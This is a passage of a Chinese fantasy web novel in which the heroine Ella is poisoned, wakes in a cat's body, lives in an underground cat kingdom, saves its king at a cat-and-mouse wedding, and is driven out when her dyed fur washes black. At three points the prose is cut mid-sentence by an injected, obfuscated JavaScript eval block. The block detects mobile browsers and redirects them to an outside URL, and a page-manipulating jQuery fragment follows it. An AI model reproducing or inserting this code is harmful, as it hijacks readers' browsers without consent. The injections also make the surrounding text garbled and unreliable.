厄拉也觉得有点可惜,但乐观地回答:“等你兑现合约,我拿到船了,我打算再在岛上转悠十天半个月的,只要赶在风暴高发期前出航就行了。不然,的确是一个不小的遗憾。” “或者,干脆多留一段时间?到明年这个时候再走?很着急回家吗?” “啊,其实也没那么着急。回家后,我也不知道要干什么。”厄拉搓着手。 “那就更不着急!你尽可以在岛上生活,等到你腻了,或者想到回家后做什么了,再动身回去。船是一直在那里的。” “说的也是。”厄拉有点心动。 “或者住一辈子也未尝不可。这座岛值得人用一辈子来探索。” “不不不,一直没有我的消息,家里人会担心的。” “你们家又不靠你养家对吧?” “呃,是的,我父母都有自己的工作,再加上有表哥那样出名的人,他们根本不愁衣食。” “对,而且,都愿意让你去做勇者这样出生入死的工作了,他们也早就将你的生死看得很轻了吧。” 这话还真不中听。厄拉哼唧了两声。 不知为何,玛丽安似乎在撺掇她留下。难道它真的这么爱这座岛?那它为何也选择了离开呢? 没等厄拉问出来,服务生已经端着菜肴来了。每一道都鲜嫩无比,发着光,让人食指大动。 “本店的酒是最好的马赫塔利亚牌,请您品尝。” 用神明做酒的品牌名吗?看来马赫塔利亚的确在岛民心里地位很高。 “好,我们来干杯吧,为了顺利进城而庆祝!” 厄拉给玛丽安递了一个小瓶子。斟好酒后,玛丽却冷哼一声。 “我不喝和她有关的东西。” “只是酒名而已。 玛丽安斜视着红彤彤的酒:“这颜色像血一样,不舒服,让我觉得在喝她的血。” 真是矫情。厄拉没办法,去前台找服务生换一种酒,可他们道歉说没有别的种类了,她只好回去跟玛丽安解释。 “那就算了吧,勉为其难。”玛丽安还是皱着脸,舔了一口庆功酒。 真是的,喝个酒也这么事精儿,兑现承诺时不会也要这么掰扯吧。厄拉一边想着,一边将杯中甜酒一饮而尽。 饮罢,她正想叉一块百合花瓣,突然从胸口传来一阵剧痛,叉子从手中脱落,随即她的头也晕眩起来,仿佛有一把大锤子,在猛力将她的灵魂捶出体外。 她求助地看向玛丽安,迷离的视线里,它的脸糊成了一团。但是,厄拉看出来了,它在笑,猖狂的,诡计得逞的笑。 那酒有问题!厄拉恍然意识到,可为时已晚,她觉得自己的灵魂在急剧地皱缩,身体失去了控制。 最后,她仅剩的一点意志全部落在玛丽安身上,在寂灭之前,拼尽全力地向它冲去。 9. 我是猫(一) 咪···咪··· 喵喵咪咪··· 身子底下暖烘烘的,太阳也很好。现在正是适合打盹偷闲的春天。 厄拉觉得自己的身体很轻盈,但也很疲惫。轻盈是皮肉上的,疲惫是骨头里的。 她脑子一直在想东西,或许思考的速度过快,她不清楚自己想了些什麽。这就像一个速度过快的搅拌机,把所有的思绪、念头搅成一坨浆糊。 额头上传来一阵瘙痒,仿佛有人在隔着一层薄薄的毛绒帽子舔她。那人的舌头一定很小,但锲而不舍,蜻蜓点水也打湿了她一块皮肤。 或许不是人呢? 是一只小猫舔她?是玛丽安? 厄拉的眼皮扑闪,在眨动间,视野逐渐从模糊变得清晰——面前是两只毛发肮脏的脚,还有一个一直在上下动的东西,应该是这生物的头。 厄拉将脑袋向上抬了一下,那生物——果然是一只猫,一只很丑陋的三花猫,一只眼睛周围全是黑毛,像一个穷凶极恶的海盗,但它的眼睛却是湿润的——也低下头,继续舔她的眼睛。 奇怪,这只猫怎么这么大?因为隔得太近了吗? 厄拉试着动动手指,恢复知觉。但她发现自己攥不紧拳头,指头的活动很不灵敏,她的大拇指不能和小拇指碰到一起。恐慌立马使她如坠冰窟似的清醒,她抬起一只手——或者更确切的说,爪子。 亮白色的猫爪,粗糙发硬的毛发却有最漂亮的色泽。 那只三花猫叫了一声:“喵。” 厄拉没有听懂猫语。这只带来一秒钟的侥幸。她很快意识到,即使她头脑上还没有成为猫科生物的一份子,但她的身体已然与它们无异了。 她现在寄居在玛丽安的身体里! 那玛丽安去哪里了? 她只想到了一种可能——灵魂互换,她作为猫活下去,玛丽安如愿以偿变回人形,以厄拉的模样。 厄拉感到身上发凉,她断断续续地从记忆里拼凑出真相:玛丽安算计了她,在酒里动了手脚,抢了她的身体逃之夭夭。它是从什么时候决定这么做的?或者,这会不会就是它最初的计划?找一个无亲无故流浪至此的倒霉蛋,哄骗她放松警惕,最终让她无声无息地消失在岛上。没有人会在意一只猫的死活的。 什么合同,什么船只和赏金,都是它的障眼法!它是一只活了不知多久的老妖,心眼子胜过菠萝。 厄拉很害怕地看着自己现在的身体。她不习惯四只脚站在地上,更不知道以这样的身体怎么向前迈出步子,要先迈哪只脚。人类从远古的猿猴进化了数亿年,才学会了只用双脚直立行走,而现在,她又要返祖,重新把自己的上肢束缚在土地上。 她还是婴儿的时候,很不会爬行,像是没有骨头一般,家里人都担心她以后走不好路,觉得这是当时她母亲生她时产期延后的恶果。 可出乎所有人意料,小厄拉学走学的很快,当同龄人还在跌跤时,她已经能肆意奔跑了。 她不适合慢吞吞的,视野局限的爬,她适合站起来一览无余,然后迈开步子跑。 母亲从小就夸她,身体强健,体格好。所以她也一直维持这个人设,比镇上所有的孩子都要活泼好动,摔破皮了也不哭,吃得最多,个子窜的最快。 所以,大家都认为她长大后应该去当勇者。 她将五年最鼎盛的青春投入在闯荡冒险,就是因为有这样一副身体,最健康的身体,愿意动,愿意吃,愿意睡。 现在她没有了,她最骄傲的身体被别人夺去了。是夺,不是借。是没有归还的许诺的。 她第一次想哭。哪怕被浪拍打到这座陌生的岛屿,远离家乡时,她都没有想过掉下眼泪。 那只丑陋的猫咪又贴了上来,舔她的脸。 它虽然丑,但它很善解人意。比玛丽安好多了。 湿湿的口水让厄拉稍许冷静。她看了看四周,它们现在在一座小桥上,周围还有许多流浪猫,一些好心人正在给它们喂食。 看来玛丽安还怪体贴的,特意将她抱到猫咪聚集的位置,没有灭绝人性到将她甩在大街上。 厄拉看向这只格外关心她的猫。别的猫都争先恐后地去抢吃的了,你怎么不去,要来这里陪着我呢? 厄拉也“喵喵”叫了两声,不过并没有把信息传递出去,那只猫歪头,有些困惑。 好吧,哪怕是同一种族也存在语言不通的情况,她也听不懂别的大陆的方言。 这时,一个穿着白色学院装的女孩子走过来,手里拿着一个装猫粮的小碗,递到厄拉面前。 “没见过的小猫诶。你的毛真漂亮,就是太瘦了,看着营养不良。快吃吧。” 以玛丽安几百年只吃腌鱼的饮食习惯,不营养不良才比较奇怪。 厄拉犹豫着探出舌头,慢慢地品尝着棕色猫粮。 猫粮形状像是碎掉的饼干,闻起来也有一点烘焙的香味。至少卖相没那么让人不能接受。入口有点咸,还带着点腥味,口感过于酥脆。不过,或许是味觉向猫靠近了,厄拉竟然觉得滋味还不错,大口大口地吃起来。 “你饿慌了吧,没事,慢慢吃。” 女孩看向她身边的三花猫,用对老熟人的语气说:“夏,好久不见你了,你去哪了?” 她抛出一个问句,却并不期望得到答案。夏走到她身边,任由她抚摸。 “我知道了,它是你新交的朋友,你带它来找吃的,对吧?” 夏垂下头,似乎肯定了女孩的判断。 我们是朋友吗?我们认识吗?厄拉匆忙把埋在碗里的头拔起来,瞟了夏一眼。 谁知道,这只猫会不会像玛丽安一样算计她。 厄拉之前就知道人心难测,上了岛后,又切身领悟了猫心难测。 可算计,总得有个目的。这只猫又什么想要的吗?它不会说话,厄拉不知道。 但它看不懂厄拉的疑心,等她吃饱喝足后,它舔了舔她的鼻子,示意她跟着自己走。 厄拉狐疑,但无处可去,所幸心一横,寄希望于这只猫不是坏猫。 “马赫塔利亚,让你岛上的生灵对我好一点吧。” 夏也很瘦,仔细看,前脚还是跛的,所以它的步子很慢。但它的气派又不像在街角靠接济与垃圾为生的流浪猫,反而像城市的主人,巡察官一样大摇大摆地游走。 厄拉花了点时间适应满是形形色色屁股的视角,街道上的建筑物全都变得无比高大,天空却变得狭窄了。 夏的路线弯弯绕绕的。走出最繁华的街巷,躲过无数的踩踏,翻上一个接着一个的石像、邮筒,她们转入的巷道一个比一个冷清,空气里的气味从花朵的芳香变成了泔水的臭味。 厄拉越走越觉得不对劲,脚步慢了下来。当夏又准备再进一个黑乎乎的巷子里时,她心一横,扭头就跑。 然后她听到了最为尖利的一声猫叫,吓得她浑身的毛直竖。 夏缺了一条腿,行动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444047|201070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却敏捷,追上还没完全适应猫的身体的厄拉易如反掌。它身体横在厄拉面前,挡住了她的去路。 厄拉四条腿都在颤抖。 夏在她屁股后面,咬着她的尾巴,顶着她往前走。这只猫果然意图不纯,厄拉心里叫苦不迭,主动拉近关系的不论是人还是猫,肯定都怀有鬼主意。 玛丽安抢走了它的身体,这只猫又想抢走什么? 它们绕呀绕,终于绕到了一个墙上的洞穴前。那个洞不大,刚好能容纳一只猫钻过。 厄拉心里一团乱麻,还在思考一只猫还有什么利用价值,是剥皮还是端上餐桌,没有意识到她们已经到了目的地。只感到屁股被踢了一下,随后一阵天旋地转,她像一个球一样,骨碌碌地往下滚。 除了自己的尖叫声,身后还能听见皮肉与泥土摩擦的声音——夏与她一起滚下来了。 在厄拉身上快要磨掉一层皮之前,她终于强制刹车到了终点。终点是一片不深的池子,水是热的,字面意义上为她接风洗尘。 厄拉刚被高空抛物,又差点被一口水呛死。 好不容易扑腾上来,她猛甩头上的水,却听到四周此起彼伏的抱怨的猫叫。 原来池子里不止有她这一只猫,还有很多猫也在…泡澡。 坦白来说,这些猫长得都有点抱歉。仿佛打翻了颜料盘一般分布的毛色,千奇百怪的五官,和那斜睨一切的眼神,怎么看怎么不舒服。 但这是在别人的老巢里,作为客人,还是要客气客气。厄拉知趣地将头埋进水里。 夏从池的边缘游过来了,继续推着厄拉往岸边走。 越靠近岸边,厄拉才越发现,这个地方与它大门的寒酸污秽截然不同。往里,头上逐渐出现了星子一般的金色灯光,像是有许多盏吊灯挂在顶上,而且越来越密。 池子也不仅仅是乌泱泱的一大片蒸腾着热气的水了。水面上出现了各种充气球、花篮、小船一类的装饰,还有许多猫在上面玩。 直到来到岸边,她猛然意识到,她这是被带到一个地下猫王国了。 不然,何以解释这星罗棋布,与地上大街小巷无异的用石子和断木板砌成的城市。 这些街道很窄,只能供三只猫并驾齐驱,也没有什么商店,更像是一个供精力旺盛的猫玩耍的地方。 向两边望去,能看见密密麻麻的黑色的口子。那些是这里住民的房屋,层层叠叠地修筑在——姑且称之为墙壁上,有不少梯子和竹竿供高层住户攀爬。 夏不是来带她参观这些街道的,它径直领着她通过了游乐场、粮仓、养老公园,直到跨过一条水沟,走过一座用石头砌起的大门——厄拉猜,这就是这儿的皇宫。 果然,一进大门,在地上竖起的烛台的映照下,内里亮得人睁不开眼。但厄拉还是没有闭上眼睛,相反,她瞪大了,目瞪口呆。 她看到了震碎她二十多年认知的怪事: ——猫在…跳舞? 五只鲜艳的橘猫排成一横排,肚皮朝上躺在大红色毛毯上,抖动肚皮,挥动爪子,雪白的腹部波浪起伏,荡漾出美好的曲线,颇有韵律感。当然,也很滑稽。 肚皮舞?厄拉的下巴快收不回来了。 仔细听,好像还有人在打节拍呢。这是正经的宫廷乐舞。 而欣赏这只舞曲的贵猫是谁呢?厄拉向上看去,铺了缎子坐垫的镀金美人靠上,横躺着一只慵懒的、略有些发福的蓝猫,颈上套了个金项圈,正伸着懒腰。 10. 我是猫(二) 蓝猫的体型明显胜过街头上那些营养不良的猫咪。它滚圆的一大只,腹部丰满,毛色油亮,一看就是被好吃好喝供着的。 它座椅旁的台子上放了一个被冰盒子托起的白瓷盘子,精致地摆着切好的鱼脍。蓝猫一手捻起鱼脍,一手在空中挥舞,比划着拍子。 “喵,喵喵,喵喵喵!”它突然大声叫起来,打拍子的手指着队伍边上的一只橘猫。它的动作与其它猫是反的。 那只猫立刻慌张地从地上滚起来,随即,两只带着眼罩的凶神恶煞的无毛猫走过来,把它架走了。 厄拉咽了下口水,看向夏。 同时,蓝猫也注意到了她们。它挥挥爪子,示意她俩绕过舞者,走到它面前来。 它明明有着杏核似的圆眼睛,憨态可掬,可那纯黑的瞳孔在黄色的眼白滴溜溜地打转时,怎么看怎么让人不舒服。天晓得,这一转中藏有多少的小心思。 人的礼仪,见到高位者时要行礼,猫的世界也是一样。厄拉学着夏的样子,高高地翘起屁股,竖起尾巴,头和两只前腿几乎全部贴在地上,做出一个很不平衡的姿势,简直就是在邀请人家踢你的屁股。不过,礼仪都是这样的,越屈辱,越尊敬。 蓝猫“喵”了一声,意思估计是“免礼”,因为夏从容地站起来了,然后开始温和地“咪咪”叫,好像是在汇报什么。 蓝猫的眼睛没有离开厄拉,它从头到尾地打量着她,一根杂毛也不肯放过。 夏说完了,蓝猫点点头,对着厄拉叫了一声。 厄拉不解其意,呆呆地愣在原地。直到夏踹了她屁股一脚,把她推到蓝猫的怀里,与它柔软厚实的胸膛来了一个亲密接触。 哇,好多毛,好多肉。厄拉的第一反应是落到了一块冬天用的毛毯上,身体一下子就暖和起来了。 还没等她将头从毛里拔出来,她的头顶忽然凉飕飕的——蓝猫开始舔舐她的头顶,还在轻咬她的耳朵,闹得她麻酥酥的,一股战栗感从头沿着脊椎传到尾巴。 这是在做什么?是想吃掉我吗?还是在表达喜欢我?希望是后者。厄拉迷迷糊糊地想,一路上,那么多人喜欢染了白毛的玛丽安,这几天改善伙食后,她也吃胖了点,不像之前瘦的可怕,应该更讨人欢心。但愿猫的审美与人是一样的。 她没有想错,蓝猫在舔完她之后,又拿起了一块鱼脍喂给她吃。这就是完完全全的赏赐了。 啊,第一次见面就获此殊荣,看来玛丽安这张皮生的的确不错。厄拉嚼着冰凉的生鱼片,滑溜溜、凉滋滋,好生满足。这样的一顿鱼脍,在外面估计要抵得她一周的餐费,而在这儿她竟可以免费的、躺在别人怀里被喂着吃。她一下子有了翻身做主人的实感。 但她没有享受多久。不一会儿,一群小猫带着吵吵嚷嚷的奶音围绕在美人靠周围,希冀地望着蓝猫。它们与王国门口池子里那群歪瓜裂枣不同,个个都长得眉清目秀,让人心生爱怜。蓝猫看它们的眼神也充满了慈爱,不一会,她怀里就挤满了小猫。厄拉很知趣地从她腋窝下溜了出去,让那些小奶猫尽情地撒娇、搂抱。 她明白自己的处境了。夏是把她当做猫王国的新成员,来蓝猫这里报备上户口。而蓝猫一见到她就喜欢,于是她从街溜子一跃成为了猫王的宠儿,和这些小猫一个待遇,可以在猫王膝下承欢,还有最新鲜的生鱼片吃。 哦对,还有好屋子住。夏领她去的住所是单独一间小房子,点着暖黄色的灯,里面铺满了花纹华丽的被衾和靠垫,还有一个毛线球。厄拉迫不及待地在毛绒垫子上打起滚来。她感觉自己躺在云朵上,即使是她住过最舒适的旅舍里垫的如同豌豆公主一样高的床垫子,都没有这儿的柔软。 人,啊不,猫很容易向舒适妥协。她很没出息地想,变成一只猫好像也不是很坏。 她在这儿的任务就是侍候在蓝猫左右,当它需要解闷时随叫随到。 蓝猫似乎没有什么正经事儿要干,每天睡醒了就吃,吃完了就看歌舞,然后召集它的宠儿们陪它逗乐。久躺不动,难怪它胖成这样。 在大概十几只宠猫中,厄拉发现,它似乎对其中一只小蓝猫情有独钟。每当它挤入蓝猫怀里时,别的猫咪不管怎样撒娇,都不能再分得蓝猫的一点关心。分东西吃时,也一定是这只小蓝猫打头,领得最好的一块,别人只有捡它剩下的份。也只有它有和蓝猫一样的权力,能驱赶那些表演不好的伶人。 根据种种特权,以及大小蓝猫长相的酷似,厄拉断定,这只小蓝猫就是地下王国的太子。 很快她又得知,太子要联姻了。 眼见得王国顶上的灯一天比一天亮,许多像夏这样要跑外勤的猫还不断地从地上带回鲜花,装点街道。门口池子也开始换水,食物一车一车地向城里运。 这阵仗,不是节日,就是婚丧嫁娶。厄拉一日看见,一群猫咪在伺候小蓝猫系上一件绣有金色玫瑰花纹的宝蓝色披风,她立刻明白,要有喜事的估计就是这位太子了。 八卦之魂燃起。太子妃是谁呢?可惜她语言不通,不然早就与左邻右舍畅聊三天三夜了。 她的好奇心越来越旺,终于浑身刺挠地挨到婚礼当天。 新娘原来不是王国内的人——她跟随蓝猫以及其它的宠臣来到王国大门。许多民众早已翘首以盼。那片泡澡用的池子早已清场,池面漂着朵朵玫瑰花环、百合花环。新娘的船队遥遥出现在水面尽头。 “新娘的船,好小啊。”厄拉本来以为那只是近大远小产生的视觉错位,却没想到,新娘的船队里最大的那一艘,总体积也不过能装下两个她。如果排除新娘一人乘一艘船的可能性,那新娘肯定不是猫,那它到底是什么物种啊? 谜底揭晓——一只金褐色的、身着纯白高领缎面婚纱、头戴雏菊花瓣编成的头纱的小老鼠,在一众护卫的前呼后拥下,款款走下船只,来到岸上。 太子早已恭候多时,见它走近,像当初厄拉给蓝猫行礼时那般伏下前半身,让新娘踩着自己的头骑到它的脊背上。而后,在猫和老鼠“喵喵”、“吱吱”的喝彩声中,一猫一鼠慢悠悠向城内走去。 新郎的蓝色披风随风飘舞,甚为潇洒;新娘头上的雏菊花瓣衬得它鼠比花娇。新娘有些害羞地扶住新郎的耳朵,小蓝猫故意抖了抖,才吓得她紧紧抱住。大家见了这一幕,起哄得更热烈了。这大概就是新郎新娘恩爱的表现吧。 而这一幕,不,整场婚礼对厄拉的冲击 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444048|201070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都太大了。 猫和老鼠联姻?她在做梦吗? 猫和老鼠秀恩爱,这世界还有道理吗?食物链呢?生殖隔离呢?你们不是天敌吗?你和老鼠联姻,为什么不去和鱼联姻,是因为鱼太好吃了吗? 世上想不明白的事有太多了,而现在这桩直接使她完全放弃思考。这是明智之举,用猫核桃大的脑子能想明白什么呢? 大家都沉浸在喜庆中,为什么就你一只猫神游物外双眼无神,乐,你也要和我们一起乐! 厄拉就这样身不由己地被挤进花童的队伍,戴着花环,披着蕾丝布,“喵喵咪咪”地唱赞美诗。走路的时候,还要格外留心不要踩着另一方的花童。不然,喜事立即变成丧事。 万猫空巷,花团锦簇,空中飞舞着彩带和鲜花,纷纷扬扬如同大雪,终于簇拥着新人走进皇宫。 “喵喵,喵喵咪咪喵喵?” “咪!” “吱吱吱,吱吱吱吱吱?” “吱吱!” 按照流程,现在是询问:“新郎/新娘,你愿意与它结为伴侣吗”的场景。老鼠那边派出了自己的牧师,猫这边派出的居然是夏。它在王国的地位比厄拉原想的更高。 交换戒指的仪式颇为滑稽。新娘要站在高高的台子上才能和新郎同一高度面对面。双方的戒指尺寸也不一样:新娘吃力地举着能当自己项链的戒指,差点重心不稳从台子上摔下来;新郎的爪尖小心翼翼地拈着几乎看不见的超小号戒指,仿佛只要稍一用力它就会化为齑粉。 一场仪式下来,所有观众都汗流浃背,频频倒吸凉气。万幸,最后没有出什么差错。 特技表演还未结束,新郎亲吻新娘的时候,老鼠亲朋好友全都紧张得汗毛直立,生怕它突然张开血盆大口把新婚妻子一口吃掉。但,新郎看上去不饿,除了差点把新娘亲倒之外,没有什么过激行为。 “如果害怕被吃,就不要联姻啊。”厄拉腹诽。 她扭头看向坐在第一排的蓝猫,了不得,它泪光闪闪,它屁股旁边的亲家已经相拥哭成泪鼠,还有新娘一窝的兄弟姐妹,号的声音比唱诗班还大。 送羊入虎口。新娘家确实该好好哭一番。 谁知,当新娘羞涩地在小蓝猫的脸颊啾上一吻时,杀出来破坏婚礼的,是一只猫——确切的说,是那只曾被蓝猫批评的舞者橘猫。 “喵喵喵喵!” 厄拉乱翻:“身为猫咪怎么能和臭老鼠结婚,我不同意这门亲事!” 来宾还没来得及反应,那只橘猫已经扑上台子,一口将新娘吞了下去。 观礼台上爆发出震耳欲聋的尖叫,老鼠们惊恐地四散逃跑。 蓝猫“蹭”地一下从座位上弹起,弓起身子呲牙挡住橘猫。但养尊处优的它并不是这只身形灵活的橘猫的对手,臃肿的身体还没来得及动弹,就被橘猫咬住了脖子——嗯,曾经是脖子的地方。 看来它的目的不只是驱赶老鼠。 猫吃老鼠,是自然法则,厄拉本来也不看好这门门不当户不对的婚事。但这猫若想谋权夺位,伤害她的恩猫,那她可不会袖手旁观! 玛丽安的敏捷她是见识过的,操控这副躯体,她有把握赢。 11. 我是猫(三) 厄拉如同一道黑色闪电,“嗖”一下飞了出去,撞开了压在蓝猫身上的橘猫。这一撞冲击力不小,橘猫的咬合力也大,竟一口撕下来蓝猫颈部的一块肉。那橘猫呲着血淋淋的嘴,凶恶地瞪着厄拉。 两只猫飞快地纠缠在一起。它们紧紧地贴住彼此,前脚扼住对方的咽喉,后腿朝对方的腹部猛蹬,速度快的只在空中留下残影。 橘猫的攻击性强,爪子几次三番划过厄拉的脸,险些把她的眼睛剜出来,拳拳到肉;厄拉也不甘示弱,抓到机会就将利爪嵌进它的皮肉,扯出血痕。两猫战得昏天黑地,将婚礼现场的桌椅撞翻,尘土飞扬,四处狼藉。 厄拉突然想到,这只橘猫肯定不会傻到单枪匹马就敢来推翻猫王,它一定有同伙。 果然,一群猫从混乱的群众里跑来。厄拉瞥了一眼——那是她曾见过的,在王国门口池子里泡澡的丑猫。看来,它们是一伙的,对猫王积怨已久。它们数量多,很快就和夏以及无毛猫斗了起来。 就在她恍神的电光火石间,橘猫的爪子狠狠划过她的脸。这一击很深,不留情面,空中瞬间飞出几滴鲜血。厄拉吃痛地大叫,拼尽全身的力气,一脚踹到橘猫腹部。 “呜呃——” 那橘猫腹部受了重击,面容扭曲,张大了嘴,被它一口吞下去,还没来得及消化的新娘就这么裹着口水和胃液被吐了出来。厄拉眼疾手快,立刻把新娘接住,放到自己的背上。 但,橘猫的同伙已将她团团包围。新娘惊魂未定,颤抖着抱住她的脖子;厄拉踌躇地逡巡,茫然无助。 若是再没有救兵,她就只能尝试突围了。 说时迟那时快,在她以为万策尽矣的时候,小蓝猫太子带着更多的无毛猫护卫队冲了进来,这下占据数量优势的是它们了。 橘猫一伙还想做困兽之斗,可惜,在打架上,卫队是专业的。在来来回回几轮,身负重伤之后,它们只得采取厄拉未采用的法子,集中力量在包围圈上撕开一个口子,落荒而逃。 蓝猫被夏扶起来,凄厉地狂叫:“喵——” 这大概是:“不要放走它们!” 或者“别让它们再靠近王国一步!” 无论是哪一种,亲卫队听到命令就一溜烟追了出去,很快就无影无踪。 经过刚才的打斗,全场没有完整的家具,装饰的彩绦和鲜花散落一地,老鼠宾客三五成群,抱成一团哭泣。 厄拉走到太子身边,把新娘放到它背上。 太子的蓝色披风已经碎成几片,新娘的婚纱也变得黏糊糊的,于是它俩谁也不嫌弃谁,差点生离死别的新婚夫妇哭在一起。 劫后余生,可喜可贺。 厄拉感慨地看着这狼狈的两口子。就在这时,颈上还挂着血痂的猫王蹒跚地走到厄拉身边,从它的眼里,厄拉读出了感激与欣赏。 勤王之功,看来她的地位要飞升了。 虽然脸上的新伤还隐隐作痛。不过,值得了。 王国的肃整花费了几天的工夫。期间,为了保护妻子的安全。太子决定离开猫王国,去妻子那儿生活。蓝猫虽然不舍,也只能在恋恋地舔舐它的毛发后,挥泪送别这对新人远去。 这时,站在它身边的、最亲近的臣子,就是厄拉。 厄拉现在衣食住行都与猫王一起,享受着先前太子的待遇。衣来伸手,饭来张口,还收获了一群围着自己喵喵叫的小奶猫。 她可以披着勃艮第红的披风,招摇过市,吸引王国百姓艳羡的目光。当然,她还是更喜欢窝在自己暖融融的家里,睡了吃吃了睡,没有琐事要处理,需要担心的只是变得和猫王一样胖。 一天,蓝猫面带喜色地领着厄拉来到一片浴池前——这是它专用的,而现在,它要把这份殊荣赐给厄拉。 厄拉对赏赐早已见怪不怪了,望着眼前冒着热气、像牛奶一样白的池子,她谢恩之后,很从容地跳进去。温暖的热流一下子包裹了她的身体,本来就空荡荡的大脑更加放空。 “猫王在这么宠爱我下去,说不定我会当它的继承者呢,统治这片王国。哎呀,虽然这儿也没有什么好统治的,每天吃吃喝喝的日子过多了还有些无聊。话说,我总不能一辈子当只猫吧。”厄拉的脑子已经开始迷糊了。 本来,她计划在这留几天,就回到地面上去把自己的身体找回来。可当猫的生活惬意如此,几乎快要把她的驱动力磨灭了。就像这片温泉,热热的,诱惑人沉下去,永远地享受下去。 这池子里的不是单纯的热水,还加了别的东西,又香又滑溜溜的,应该放了皂水、某种油脂——这样可以一边泡澡,一边护理毛发。不知用的是什么油呢······ 油··· ——油脂! 就像被从头顶浇了一盆冰水,厄拉的头脑一下子精神了。 透过温泉迷蒙的雾气,她看见蓝猫原本笑眯眯的表情越来越不对,它的脸沉下来了,变得警惕,充满敌意。四周的无毛猫也变得惊恐,拱起脊背,逐步向她靠近。 坏了,厄拉想,她——掉色了。 她的白染料脱落,融化在池子里,露出吓人的黑色的毛发。本来油脂就会洗掉这层颜色,加热之后,它化掉的速度就更快了。 伪装卸下得猝不及防,她的大脑空白了——被吓的。 它们会怎么对我?厄拉脑子里一团乱麻。我好歹在这里立过功,救过猫王和太子妃的命,我做过王的宠臣,我也一件坏事都没有做,只是碰巧,有黑色的毛。 有黑色的毛足以让所有的功劳一笔勾销。 猫王严肃时才像一位君王,充满压迫感,让子民在它的威严之下无所遁形。两只无毛猫把厄拉从池子里拖了出来——她现在已经通体全黑了——然后拽到猫王面前,接受王的宣判。 黄色虹膜上的黑眼睛,居高临下地审视着她。 厄拉的头垂下了。 她在想,要不要咬住王的咽喉,劫持它离开王国?天哪,她不能栽在这里,无声无息地消失在这里。 但王只是沉默。 那两只咬住她前腿的无毛猫把她拖走了。 它们走了一条冷清的小路,通往王国的出口,一路上, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444049|201070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有别的猫看见黑色的厄拉。厄拉在这条幽暗的路上,不断地发抖,以为自己马上就要被处刑了。没想到,那两只猫把她甩到一个大上坡上,站在原地,等她往上爬。 它们在等她离开。 厄拉不知所措,向它们走近一步,而它们神情严肃,逼得她退回了那一步。 更老的那只摇了摇头,更年轻的那只指了指前方。 离开吧,这里不再欢迎你了。 厄拉很茫然。当初,也不是她自己主动来的,是夏逼着她来的。 对了,她应该向夏道别。 不过她已经没有这个机会了。她只得离开,一步三回头,而后头也不回地冲出去,奔向地面,奔向阳光。 “是黑猫!快,快来人,杀了它!” 这是她回到地面上后,听见的第一句人话。好吧,对她来说不太像人话。 那是一个厨子模样的人,一手拿着香肠,一手挥舞着菜刀。厄拉上来后兜兜转转两天,避开人群,饥肠辘辘,好不容易找到了一串晾晒的香肠,她想,我饿急了,只吃一根,等我恢复人形后一定赔偿。谁知一念之差,就被发现了。 围绕着她的人越来越多,堵得小巷子水泄不通。厄拉抬头,看到的不是蓝天,而是乌压压的人头。 那些人拿着棒子、菜刀,恶语相向。看向她的眼神,除了厌恶痛恨,还有若隐若现的恐惧。 “它会黑魔法,小心它夺走你的灵魂。” “有马赫塔利亚保佑,我我我才不不不怕怕怕。” “你去给它一刀。” “说的轻松,你怎么不上去!” 这些人只是围着她,却没有一个人胆敢上前,真正砍她一刀。其实厄拉根本不会什么魔法,饿得头晕眼花的她也没有力气伤害别人,但围观者明显没有一个人这么认为。 在僵持了十几分钟后,骚乱终于引来了士兵。看到身披甲胄的军队挤进小巷子,群众就像看到了救星一般散开,等着某个勇士来给这只邪恶生灵一剑。 这是好时机——厄拉知道,人群散开时,不慎留出了一个缺口,那正是供她逃脱罗网的通道。她窜得很快,就像一阵黑风,灌入漆黑的小道,只听得身后的尖叫: “它逃跑了!快追!” “它害人去了!” 该死,要是她会说话就好了,她明明才是被害的那一个。 谁想得到,几天前还在猫王国养尊处优、呼风唤雨的她,现在竟然沦落到在臭水沟、垃圾箱里四处逃窜,粘得浑身腥臭脏污,还见不得人,随时都有性命之忧。 越高的浪头,跌下来就越痛。厄拉已经落魄到没有闲工夫追忆不久前的美好时光了。 说到底,都是玛丽安的错。可恶,她现在到底在哪儿! 厄拉一个不留神,险些冲到大街上。现在是学生们放学的时候,若是冲到那潮水般的队伍里,估计要引起更大的骚动,想逃都逃不掉了。 她正要转身,忽然,一只冰凉的手抱住了她。她一下子腾空,而后,被装进了一个乌黑的袋子里,什么都看不到了。 12. 鲍西娅 装她的不是一个麻袋。 在颠簸中,厄拉确信自己在与墨水瓶、魔杖、羊皮纸之类的东西亲密碰撞。结合现在是放学的时间,她推测,自己是被某个胆大包天的学生藏起来,要带到不知道什么地方去。 